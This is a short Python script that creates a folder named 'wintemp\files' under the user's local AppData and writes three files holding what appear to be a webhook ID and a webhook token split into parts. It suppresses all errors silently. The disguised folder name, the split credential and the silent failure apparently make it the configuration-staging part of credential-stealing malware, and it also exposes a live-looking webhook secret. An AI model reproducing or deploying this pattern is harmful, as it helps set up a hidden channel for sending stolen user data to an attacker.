import os import traceback def create_webhook_data_files(): try: local_app_data = os.getenv('LOCALAPPDATA') if not local_app_data: user_profile = os.getenv('USERPROFILE') if not user_profile: return program_base_dir = os.path.join(user_profile, 'AppData', 'Local', 'wintemp') else: program_base_dir = os.path.join(local_app_data, 'wintemp') files_target_subdir = os.path.join(program_base_dir, 'files') try: os.makedirs(files_target_subdir, exist_ok=True) except OSError as e: return f1_content = "1379130852658905108" f2_content = "30k6C2E" f3_content = "DvGxr9OUF14di1geJfM4iN1OK3EJaYw9Y5DZ1AnSzJJb_4kqpwGn_TEBOXszy" files_to_create = [ ("1", f1_content), ("2", f2_content), ("3", f3_content) ] for filename_str, content_to_write in files_to_create: full_file_path = os.path.join(files_target_subdir, filename_str) try: with open(full_file_path, 'w', encoding='utf-8') as f: f.write(content_to_write) except IOError as e: pass except Exception as e_general: pass except Exception as e_main_creator: pass if __name__ == "__main__": create_webhook_data_files()